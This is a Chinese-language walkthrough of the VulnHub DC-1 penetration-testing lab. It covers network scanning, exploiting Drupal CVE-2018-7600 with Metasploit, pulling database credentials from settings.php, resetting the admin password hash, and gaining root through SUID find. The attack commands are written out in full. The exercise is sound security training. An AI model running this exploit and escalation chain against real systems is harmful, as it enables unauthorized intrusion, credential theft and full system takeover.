VulnHub DC-1
字数 1205 2025-08-12 11:34:27
VulnHub DC-1 靶机渗透测试详细教程
靶场搭建
-
下载靶机镜像:
- 下载地址:https://www.vulnhub.com/entry/dc-1,292/
- 下载Mirror版本的.OVA压缩文件
-
导入虚拟机:
- 使用VMware直接导入.OVA文件
- 指定解压位置
-
网络配置:
- 网卡设置为NAT模式
- 与攻击机Kali保持相同网络配置
渗透测试流程
1. 目标确认
- 获取5个flags
- 获得root权限
2. 信息收集
扫描网段:
nmap -sP -T4 192.168.48.0/24
- 发现靶机IP:192.168.48.135
端口扫描:
nmap -sS -sV -Pn 192.168.48.135
- 开放端口:
- 22:SSH服务
- 80:Web服务
- 111:SUN RPC服务
3. Web渗透
- 访问80端口Web服务
- 识别CMS为Drupal 7.x
- 搜索已知漏洞:CVE-2018-7600 (Drupalgeddon 2)
使用Metasploit利用漏洞:
msfconsole
search CVE-2018-7600
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.48.135
exploit
- 成功获得www-data权限的shell
4. 获取Flag1
ls
cat flag1.txt
- Flag1提示查看CMS的config配置文件
5. 获取Flag2
cd /sites/default/
cat settings.php
- 在文件顶部找到:
- Flag2
- 数据库凭据:
- 用户名:dbuser
- 密码:R0ck3t
6. 数据库操作
获取完整shell:
python -c 'import pty;pty.spawn("/bin/bash")'
登录MySQL:
mysql -udbuser -pR0ck3t
数据库操作:
show databases;
use drupaldb;
show tables;
select * from users;
- 发现admin用户密码hash
7. 密码重置
-
找到Drupal密码加密脚本:
/scripts/password-hash.sh -
生成新密码hash:
cd /var/www
php scripts/password-hash.sh 新密码
- 更新数据库:
update users set pass="生成的hash" where name='admin';
- 使用新密码登录Drupal后台
8. 获取Flag3
- 在Dashboard中找到flag3
- 提示:特权账号能帮助找到密码,需要使用-exec命令查看shadow文件内容
9. 获取Flag4
cd /home/flag4
cat flag4.txt
- 提示:尝试用同样方法在root目录中找flag
10. 提权尝试
方法1:sudo提权
sudo -l
方法2:SUID提权
find / -perm -4000 2>/dev/null
- 发现可用find命令提权
使用find提权:
find . -exec /bin/sh \;
- 成功获取root权限
11. 获取最终Flag
cd /root
ls
cat thefinalflag.txt
关键知识点总结
-
信息收集:
- 使用nmap进行主机发现和端口扫描
- 识别服务版本
-
漏洞利用:
- 识别Drupal 7.x版本
- 利用CVE-2018-7600获取初始shell
-
权限提升路径:
- 通过配置文件获取数据库凭据
- 通过数据库修改管理员密码
- 利用SUID提权(find命令)
-
Flag获取顺序:
- Web目录 → 配置文件 → 数据库 → 用户目录 → root目录
-
重要命令:
python -c 'import pty;pty.spawn("/bin/bash")'- 获取完整交互shellfind / -perm -4000 2>/dev/null- 查找SUID文件find . -exec /bin/sh \;- SUID提权方法
本教程完整展示了从信息收集到最终获取root权限的全过程,涵盖了Web渗透、数据库操作和系统提权等多个关键环节。